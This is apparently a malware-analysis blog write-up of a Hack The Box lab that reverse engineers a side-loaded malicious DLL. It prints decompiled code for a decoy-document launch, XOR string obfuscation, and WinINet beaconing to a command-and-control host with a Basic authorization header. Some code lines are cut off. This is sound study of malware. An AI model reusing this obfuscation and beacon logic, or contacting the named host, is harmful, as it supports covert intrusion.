Einladen Mso - DLL Reverse Engineering
Einladen Mso - DLL Reverse Engineering
May 9, 2024
Overview
Situation
In the Einladen Sherlock, I’ll work through the following malware artifacts:
downloader.html sheet.hta
Invitation_Farewell_DE_EMB.zip
Invitation_Farewell_DE_EMB.hta
unc.js
richpear.bat
EmpireClient.exe
It was not necessary to reverse engineer the malware at all. Still, it’s
interesting to do that, which I’ll take a quick look through here.
Video Analysis
Most of the analysis will be done in this video:
Watch on
msoev.exe
Purpose
msoev.exe , according to spyshelter.com is:
Imports
It’s not worth doing detail analysis of the signed Microsoft binary, but it is
worth understanding it’s imports, especially related to the two DLLs
dropped with it by the phishing. I’ll open it in Ghidra and take a look:
Most of these will be installed on Windows by default, but the two that
drop with it are likely binaries that come when msoev.exe gets installed.
The malware only needs one of these to get loaded to run it’s malicious
code, but both will need to be present to not induce errors in the binary.
AppVIsvSubsystems64.dll
Overview
It shows that AV engines are detecting this because it’s a part of this DLL
side-loading attack, not because it does anything wrong.
Reverse Engineering
void APIExportForDetours(void)
{
/* 0x1010 1 APIExportForDetours
0x1010 2 CurrentThreadIsVirtualized
0x1010 3 IsProcessHooked
0x1010 4 RequestUnhookedFunctionList
0x1010 5 VirtualizeCurrentProcess
0x1010 6 VirtualizeCurrentThread */
return;
}
int entry(void)
{
return 1;
}
CommandLineToArgvWTT is ordinal_1777 :
Imports
I’ll also look at what’s imported, the one that jumps out as most interesting
being ShellExecuteA :
Strings
There are other .dll strings, but this one isn’t in the imports. Why would
the binary need a string to a DLL that it isn’t importing? That can mean that
it’s going to load the DLL via another way to get access to the functions in it
(in this case network functions) without showing that it will do that.
Open Dummy
ShellExecuteA
Seeing that the DLL imports ShellExecuteA , I’ll take a look at where that’s
used, in FUN_2ac403110 :
bool FUN_2ac403110(void)
{
LPCSTR lpFile;
LPCSTR lpOperation;
HINSTANCE pHVar1;
undefined4 local_2f;
undefined2 local_2b;
undefined local_29;
undefined8 local_28;
undefined8 local_20;
undefined local_18;
local_28 = 0x667b6e7b66796146;
local_20 = 0xf696b7f216160;
local_18 = 0xf;
/* Decodes to "Invitation.pdf" */
lpFile = (LPCSTR)FUN_2ac406170((byte *)&local_28);
local_29 = 5;
local_2f = 0x6b60756a;
local_2b = 5;
/* Decodes to "open" */
lpOperation = (LPCSTR)FUN_2ac4063b0((byte *)&local_2f);
pHVar1 = ShellExecuteA((HWND)0x0,lpOperation,lpFile,(LPCSTR)0x
return 0x20 < (int)pHVar1;
}
The binary uses tons of these custom XOR functions. They all check that the
byte at some offset is null, and then XOR the bytes up to that offset with
the byte after the null. For example, FUN_2ac406170 :
{
byte *pbVar1;
if (param_1[0xf] == 0) {
pbVar1 = param_1;
do {
*pbVar1 = *pbVar1 ^ param_1[0x10];
pbVar1 = pbVar1 + 1;
} while (pbVar1 != param_1 + 0xf);
param_1[0xf] = 1;
}
return;
}
This one makes sure 15 is null, then xors 0-14 with the value at 16.
To make my life a bit easier, I’ll write a quick python script that will pull the
stack strings and decode them:
#!/usr/bin/env python3
import sys
I can run this with the stack words and the key and get the result:
Internet Activity
There’s a string, wininet.dll in the strings in this binary, but it’s not
referenced as an import. Jumping to where it’s used, I’ll find
FUN_2ac402f20 . At the top it has another similarly obfuscated string that
translates to LdrLoadDll , which according to malapi.io is “used instead of
LoadLibrary to load modules”:
I’ll find references to one of the globals, and there are two each:
The first line context is “WRITE”, which is what I was just looking at. Jumping
to the “READ”, all of them land in FUN_2ac401dc0 , which has a bunch more
strings to decode and uses the functions:
hinternet = InternetOpenA("Curl/7.68.0", 0, 0, 0, 0)
hsession = InternetConnectA(hinternet, "toyy.zulipchat.com", 44
hrequest = HttpOpenRequestA(hsession, param1, param2, 0, 0, 0,
successful = HttpSendRequestA(hrequest, headers, len(headers),
InternetReadFile(hrequest, global_buffer, 0x100000, bytes_read_
0x40000000: INTERNET_FLAG_RAW_DATA
0x04000000: INTERNET_FLAG_DONT_CACHE
0x00800000: INTERNET_FLAG_SECURE
0x00400000: INTERNET_FLAG_KEEP_CONNECTION
0x00002000: INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
0x00001000: INTERNET_FLAG_IGNORE_CERT_CN_INVALID
0x00000100:INTERNET_FLAG_PRAGMA_NOCACHE
Content-Type: application/x-www-form-urlencoded
Authorization: Basic Z2Ficy1ib3RAdG95eS56dWxpcGNoYXQuY29tOnhKWmY
0xdf
Buy me a coffee